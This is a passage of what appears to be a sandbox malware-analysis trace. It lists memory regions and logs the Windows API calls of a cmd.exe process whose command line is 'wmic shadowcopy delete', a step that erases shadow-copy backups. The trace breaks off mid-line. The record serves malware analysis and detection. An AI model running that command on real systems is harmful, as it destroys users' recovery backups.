start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 2340 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 2341 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 2342 start_va = 0x50000 end_va = 0x53fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 2343 start_va = 0x60000 end_va = 0x60fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 2344 start_va = 0x150000 end_va = 0x18ffff entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 2345 start_va = 0x340000 end_va = 0x43ffff entry_point = 0x0 region_type = private name = "private_0x0000000000340000" filename = "" Region: id = 2346 start_va = 0x4a830000 end_va = 0x4a87bfff entry_point = 0x4a830000 region_type = mapped_file name = "cmd.exe" filename = "\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe") Region: id = 2347 start_va = 0x77670000 end_va = 0x77818fff entry_point = 0x77670000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2348 start_va = 0x77850000 end_va = 0x779cffff entry_point = 0x77850000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 2349 start_va = 0x7efb0000 end_va = 0x7efd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 2350 start_va = 0x7efdb000 end_va = 0x7efddfff entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 2351 start_va = 0x7efde000 end_va = 0x7efdefff entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 2352 start_va = 0x7efdf000 end_va = 0x7efdffff entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 2353 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 2354 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2355 start_va = 0x7fff0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 2356 start_va = 0x2c0000 end_va = 0x33ffff entry_point = 0x0 region_type = private name = "private_0x00000000002c0000" filename = "" Region: id = 2357 start_va = 0x74d90000 end_va = 0x74d97fff entry_point = 0x74d90000 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 2358 start_va = 0x74da0000 end_va = 0x74dfbfff entry_point = 0x74da0000 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 2359 start_va = 0x74e00000 end_va = 0x74e3efff entry_point = 0x74e00000 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 2360 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 2361 start_va = 0x20000 end_va = 0x2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 2362 start_va = 0x70000 end_va = 0xd6fff entry_point = 0x70000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2363 start_va = 0x570000 end_va = 0x66ffff entry_point = 0x0 region_type = private name = "private_0x0000000000570000" filename = "" Region: id = 2364 start_va = 0x800000 end_va = 0x80ffff entry_point = 0x0 region_type = private name = "private_0x0000000000800000" filename = "" Region: id = 2365 start_va = 0x75270000 end_va = 0x75276fff entry_point = 0x75270000 region_type = mapped_file name = "winbrand.dll" filename = "\\Windows\\SysWOW64\\winbrand.dll" (normalized: "c:\\windows\\syswow64\\winbrand.dll") Region: id = 2366 start_va = 0x753a0000 end_va = 0x753abfff entry_point = 0x753a0000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 2367 start_va = 0x753b0000 end_va = 0x7540ffff entry_point = 0x753b0000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 2368 start_va = 0x75410000 end_va = 0x754acfff entry_point = 0x75410000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 2369 start_va = 0x756f0000 end_va = 0x757effff entry_point = 0x756f0000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 2370 start_va = 0x75a20000 end_va = 0x75b2ffff entry_point = 0x75a20000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 2371 start_va = 0x75b30000 end_va = 0x75bcffff entry_point = 0x75b30000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 2372 start_va = 0x75e30000 end_va = 0x75edbfff entry_point = 0x75e30000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 2373 start_va = 0x762b0000 end_va = 0x762c8fff entry_point = 0x762b0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 2374 start_va = 0x762d0000 end_va = 0x762d9fff entry_point = 0x762d0000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 2375 start_va = 0x765f0000 end_va = 0x76635fff entry_point = 0x765f0000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 2376 start_va = 0x772d0000 end_va = 0x773bffff entry_point = 0x772d0000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 2377 start_va = 0x773c0000 end_va = 0x7744ffff entry_point = 0x773c0000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 2378 start_va = 0x77450000 end_va = 0x77549fff entry_point = 0x0 region_type = private name = "private_0x0000000077450000" filename = "" Region: id = 2379 start_va = 0x77550000 end_va = 0x7766efff entry_point = 0x0 region_type = private name = "private_0x0000000077550000" filename = "" Region: id = 2380 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 2381 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 2382 start_va = 0x670000 end_va = 0x7f7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000670000" filename = "" Region: id = 2383 start_va = 0x75d40000 end_va = 0x75e0bfff entry_point = 0x75d40000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 2384 start_va = 0x76500000 end_va = 0x7655ffff entry_point = 0x76500000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 2385 start_va = 0x30000 end_va = 0x36fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 2386 start_va = 0xe0000 end_va = 0xe1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 2387 start_va = 0xf0000 end_va = 0xf0fff entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 2388 start_va = 0x100000 end_va = 0x100fff entry_point = 0x0 region_type = private name = "private_0x0000000000100000" filename = "" Region: id = 2389 start_va = 0x810000 end_va = 0x990fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000810000" filename = "" Region: id = 2390 start_va = 0x9a0000 end_va = 0x1d9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000009a0000" filename = "" Region: id = 2391 start_va = 0x1da0000 end_va = 0x20e2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001da0000" filename = "" Region: id = 2392 start_va = 0x20f0000 end_va = 0x23befff entry_point = 0x20f0000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Thread: id = 98 os_tid = 0x840 [0046.818] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x43fab4 | out: lpSystemTimeAsFileTime=0x43fab4*(dwLowDateTime=0xdaa474c0, dwHighDateTime=0x1d4abdd)) [0046.818] GetCurrentProcessId () returned 0x83c [0046.818] GetCurrentThreadId () returned 0x840 [0046.818] GetTickCount () returned 0x1ad2f [0046.819] QueryPerformanceCounter (in: lpPerformanceCount=0x43faac | out: lpPerformanceCount=0x43faac*=1812204800000) returned 1 [0046.820] GetModuleHandleA (lpModuleName=0x0) returned 0x4a830000 [0046.820] __set_app_type (_Type=0x1) [0046.820] __p__fmode () returned 0x75ed31f4 [0046.820] __p__commode () returned 0x75ed31fc [0046.820] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a8521a6) returned 0x0 [0046.820] __getmainargs (in: _Argc=0x4a854238, _Argv=0x4a854240, _Env=0x4a85423c, _DoWildCard=0, _StartInfo=0x4a854140 | out: _Argc=0x4a854238, _Argv=0x4a854240, _Env=0x4a85423c) returned 0 [0046.820] GetCurrentThreadId () returned 0x840 [0046.820] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x840) returned 0x60 [0046.820] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75a20000 [0046.821] GetProcAddress (hModule=0x75a20000, lpProcName="SetThreadUILanguage") returned 0x75a4a84f [0046.821] SetThreadUILanguage (LangId=0x0) returned 0x409 [0046.821] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0046.821] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x43fa44 | out: phkResult=0x43fa44*=0x0) returned 0x2 [0046.821] VirtualQuery (in: lpAddress=0x43fa7b, lpBuffer=0x43fa14, dwLength=0x1c | out: lpBuffer=0x43fa14*(BaseAddress=0x43f000, AllocationBase=0x340000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0046.821] VirtualQuery (in: lpAddress=0x340000, lpBuffer=0x43fa14, dwLength=0x1c | out: lpBuffer=0x43fa14*(BaseAddress=0x340000, AllocationBase=0x340000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c [0046.821] VirtualQuery (in: lpAddress=0x341000, lpBuffer=0x43fa14, dwLength=0x1c | out: lpBuffer=0x43fa14*(BaseAddress=0x341000, AllocationBase=0x340000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c [0046.821] VirtualQuery (in: lpAddress=0x343000, lpBuffer=0x43fa14, dwLength=0x1c | out: lpBuffer=0x43fa14*(BaseAddress=0x343000, AllocationBase=0x340000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0046.822] VirtualQuery (in: lpAddress=0x440000, lpBuffer=0x43fa14, dwLength=0x1c | out: lpBuffer=0x43fa14*(BaseAddress=0x440000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x130000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0046.822] GetConsoleOutputCP () returned 0x1b5 [0046.822] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a854260 | out: lpCPInfo=0x4a854260) returned 1 [0046.822] SetConsoleCtrlHandler (HandlerRoutine=0x4a84e72a, Add=1) returned 1 [0046.822] _get_osfhandle (_FileHandle=1) returned 0x7 [0046.822] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x0) returned 1 [0046.822] _get_osfhandle (_FileHandle=1) returned 0x7 [0046.822] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a8541ac | out: lpMode=0x4a8541ac) returned 1 [0046.822] _get_osfhandle (_FileHandle=1) returned 0x7 [0046.822] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0046.823] _get_osfhandle (_FileHandle=0) returned 0x3 [0046.823] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a8541b0 | out: lpMode=0x4a8541b0) returned 1 [0046.823] _get_osfhandle (_FileHandle=0) returned 0x3 [0046.823] SetConsoleMode (hConsoleHandle=0x3, dwMode=0x1a7) returned 1 [0046.823] GetEnvironmentStringsW () returned 0x582b18* [0046.824] FreeEnvironmentStringsW (penv=0x582b18) returned 1 [0046.824] GetEnvironmentStringsW () returned 0x582b18* [0046.824] FreeEnvironmentStringsW (penv=0x582b18) returned 1 [0046.824] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x43e9b4 | out: phkResult=0x43e9b4*=0x6c) returned 0x0 [0046.824] RegQueryValueExW (in: hKey=0x6c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x43e9bc, lpData=0x43e9c0, lpcbData=0x43e9b8*=0x1000 | out: lpType=0x43e9bc*=0x0, lpData=0x43e9c0*=0x32, lpcbData=0x43e9b8*=0x1000) returned 0x2 [0046.824] RegQueryValueExW (in: hKey=0x6c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x43e9bc, lpData=0x43e9c0, lpcbData=0x43e9b8*=0x1000 | out: lpType=0x43e9bc*=0x4, lpData=0x43e9c0*=0x1, lpcbData=0x43e9b8*=0x4) returned 0x0 [0046.824] RegQueryValueExW (in: hKey=0x6c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x43e9bc, lpData=0x43e9c0, lpcbData=0x43e9b8*=0x1000 | out: lpType=0x43e9bc*=0x0, lpData=0x43e9c0*=0x1, lpcbData=0x43e9b8*=0x1000) returned 0x2 [0046.824] RegQueryValueExW (in: hKey=0x6c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x43e9bc, lpData=0x43e9c0, lpcbData=0x43e9b8*=0x1000 | out: lpType=0x43e9bc*=0x4, lpData=0x43e9c0*=0x0, lpcbData=0x43e9b8*=0x4) returned 0x0 [0046.824] RegQueryValueExW (in: hKey=0x6c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x43e9bc, lpData=0x43e9c0, lpcbData=0x43e9b8*=0x1000 | out: lpType=0x43e9bc*=0x4, lpData=0x43e9c0*=0x40, lpcbData=0x43e9b8*=0x4) returned 0x0 [0046.824] RegQueryValueExW (in: hKey=0x6c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x43e9bc, lpData=0x43e9c0, lpcbData=0x43e9b8*=0x1000 | out: lpType=0x43e9bc*=0x4, lpData=0x43e9c0*=0x40, lpcbData=0x43e9b8*=0x4) returned 0x0 [0046.824] RegQueryValueExW (in: hKey=0x6c, lpValueName="AutoRun", lpReserved=0x0, lpType=0x43e9bc, lpData=0x43e9c0, lpcbData=0x43e9b8*=0x1000 | out: lpType=0x43e9bc*=0x0, lpData=0x43e9c0*=0x40, lpcbData=0x43e9b8*=0x1000) returned 0x2 [0046.824] RegCloseKey (hKey=0x6c) returned 0x0 [0046.825] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x43e9b4 | out: phkResult=0x43e9b4*=0x6c) returned 0x0 [0046.825] RegQueryValueExW (in: hKey=0x6c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x43e9bc, lpData=0x43e9c0, lpcbData=0x43e9b8*=0x1000 | out: lpType=0x43e9bc*=0x0, lpData=0x43e9c0*=0x40, lpcbData=0x43e9b8*=0x1000) returned 0x2 [0046.825] RegQueryValueExW (in: hKey=0x6c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x43e9bc, lpData=0x43e9c0, lpcbData=0x43e9b8*=0x1000 | out: lpType=0x43e9bc*=0x4, lpData=0x43e9c0*=0x1, lpcbData=0x43e9b8*=0x4) returned 0x0 [0046.825] RegQueryValueExW (in: hKey=0x6c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x43e9bc, lpData=0x43e9c0, lpcbData=0x43e9b8*=0x1000 | out: lpType=0x43e9bc*=0x0, lpData=0x43e9c0*=0x1, lpcbData=0x43e9b8*=0x1000) returned 0x2 [0046.825] RegQueryValueExW (in: hKey=0x6c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x43e9bc, lpData=0x43e9c0, lpcbData=0x43e9b8*=0x1000 | out: lpType=0x43e9bc*=0x4, lpData=0x43e9c0*=0x0, lpcbData=0x43e9b8*=0x4) returned 0x0 [0046.825] RegQueryValueExW (in: hKey=0x6c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x43e9bc, lpData=0x43e9c0, lpcbData=0x43e9b8*=0x1000 | out: lpType=0x43e9bc*=0x4, lpData=0x43e9c0*=0x9, lpcbData=0x43e9b8*=0x4) returned 0x0 [0046.825] RegQueryValueExW (in: hKey=0x6c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x43e9bc, lpData=0x43e9c0, lpcbData=0x43e9b8*=0x1000 | out: lpType=0x43e9bc*=0x4, lpData=0x43e9c0*=0x9, lpcbData=0x43e9b8*=0x4) returned 0x0 [0046.825] RegQueryValueExW (in: hKey=0x6c, lpValueName="AutoRun", lpReserved=0x0, lpType=0x43e9bc, lpData=0x43e9c0, lpcbData=0x43e9b8*=0x1000 | out: lpType=0x43e9bc*=0x0, lpData=0x43e9c0*=0x9, lpcbData=0x43e9b8*=0x1000) returned 0x2 [0046.825] RegCloseKey (hKey=0x6c) returned 0x0 [0046.825] time (in: timer=0x0 | out: timer=0x0) returned 0x5c3c3f54 [0046.825] srand (_Seed=0x5c3c3f54) [0046.825] GetCommandLineW () returned="C:\\Windows\\system32\\cmd.exe /c wmic shadowcopy delete" [0046.825] GetCommandLineW () returned="C:\\Windows\\system32\\cmd.exe /c wmic shadowcopy delete" [0046.825] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a855260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0046.826] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x584ba8, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b [0046.826] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a860640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0046.826] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a860640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0046.826] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a860640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0046.826] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0046.826] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0046.826] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0046.826] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0046.826] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0046.826] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0046.826] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0046.826] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0046.826] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0046.826] GetEnvironmentStringsW () returned 0x582b18* [0046.827] FreeEnvironmentStringsW (penv=0x582b18) returned 1 [0046.827] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a860640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0046.827] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a860640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0046.827] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0046.827] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0046.827] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0046.827] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0046.827] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0046.827] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0046.827] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0046.827] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0046.827] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x43f780 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0046.827] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x43f780, lpFilePart=0x43f77c | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x43f77c*="Desktop") returned 0x25 [0046.827] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0046.827] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x43f4fc | out: lpFindFileData=0x43f4fc) returned 0x581db0 [0046.828] FindClose (in: hFindFile=0x581db0 | out: hFindFile=0x581db0) returned 1 [0046.828] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x43f4fc | out: lpFindFileData=0x43f4fc) returned 0x581db0 [0046.828] FindClose (in: hFindFile=0x581db0 | out: hFindFile=0x581db0) returned 1 [0046.828] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20 [0046.828] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x43f4fc | out: lpFindFileData=0x43f4fc) returned 0x581db0 [0046.828] FindClose (in: hFindFile=0x581db0 | out: hFindFile=0x581db0) returned 1 [0046.828] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0046.828] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1 [0046.828] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0046.828] GetEnvironmentStringsW () returned 0x582b18* [0046.829] FreeEnvironmentStringsW (penv=0x582b18) returned 1 [0046.829] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a855260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0046.829] GetConsoleOutputCP () returned 0x1b5 [0046.830] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a854260 | out: lpCPInfo=0x4a854260) returned 1 [0046.830] GetUserDefaultLCID () returned 0x409 [0046.830] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4a854950, cchData=8 | out: lpLCData=":") returned 2 [0046.830] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x43f8c0, cchData=128 | out: lpLCData="0") returned 2 [0046.830] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x43f8c0, cchData=128 | out: lpLCData="0") returned 2 [0046.830] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x43f8c0, cchData=128 | out: lpLCData="1") returned 2 [0046.831] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4a854940, cchData=8 | out: lpLCData="/") returned 2 [0046.831] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4a854d80, cchData=32 | out: lpLCData="Mon") returned 4 [0046.831] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4a854d40, cchData=32 | out: lpLCData="Tue") returned 4 [0046.831] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4a854d00, cchData=32 | out: lpLCData="Wed") returned 4 [0046.831] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4a854cc0, cchData=32 | out: lpLCData="Thu") returned 4 [0046.831] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4a854c80, cchData=32 | out: lpLCData="Fri") returned 4 [0046.831] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4a854c40, cchData=32 | out: lpLCData="Sat") returned 4 [0046.831] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4a854c00, cchData=32 | out: lpLCData="Sun") returned 4 [0046.831] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4a854930, cchData=8 | out: lpLCData=".") returned 2 [0046.831] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4a854920, cchData=8 | out: lpLCData=",") returned 2 [0046.831] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0046.832] GetConsoleTitleW (in: lpConsoleTitle=0x5858f8, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0046.833] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75a20000 [0046.833] GetProcAddress (hModule=0x75a20000, lpProcName="CopyFileExW") returned 0x75a53b92 [0046.833] GetProcAddress (hModule=0x75a20000, lpProcName="IsDebuggerPresent") returned 0x75a34a5d [0046.833] GetProcAddress (hModule=0x75a20000, lpProcName="SetConsoleInputExeNameW") returned 0x75a4a79d [0046.834] _wcsicmp (_String1="wmic", _String2=")") returned 78 [0046.834] _wcsicmp (_String1="FOR", _String2="wmic") returned -17 [0046.834] _wcsicmp (_String1="FOR/?", _String2="wmic") returned -17 [0046.834] _wcsicmp (_String1="IF", _String2="wmic") returned -14 [0046.834] _wcsicmp (_String1="IF/?", _String2="wmic") returned -14 [0046.834] _wcsicmp (_String1="REM", _String2="wmic") returned -5 [0046.834] _wcsicmp (_String1="REM/?", _String2="wmic") returned -5 [0046.835] GetConsoleTitleW (in: lpConsoleTitle=0x43f5b8, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0046.836] _wcsicmp (_String1="wmic", _String2="DIR") returned 19 [0046.836] _wcsicmp (_String1="wmic", _String2="ERASE") returned 18 [0046.836] _wcsicmp (_String1="wmic", _String2="DEL") returned 19 [0046.836] _wcsicmp (_String1="wmic", _String2="TYPE") returned 3 [0046.836] _wcsicmp (_String1="wmic", _String2="COPY") returned 20 [0046.836] _wcsicmp (_String1="wmic", _String2="CD") returned 20 [0046.836] _wcsicmp (_String1="wmic", _String2="CHDIR") returned 20 [0046.836] _wcsicmp (_String1="wmic", _String2="RENAME") returned 5 [0046.836] _wcsicmp (_String1="wmic", _String2="REN") returned 5 [0046.836] _wcsicmp (_String1="wmic", _String2="ECHO") returned 18 [0046.836] _wcsicmp (_String1="wmic", _String2="SET") returned 4 [0046.836] _wcsicmp (_String1="wmic", _String2="PAUSE") returned 7 [0046.836] _wcsicmp (_String1="wmic", _String2="DATE") returned 19 [0046.836] _wcsicmp (_String1="wmic", _String2="TIME") returned 3 [0046.836] _wcsicmp (_String1="wmic", _String2="PROMPT") returned 7 [0046.836] _wcsicmp (_String1="wmic", 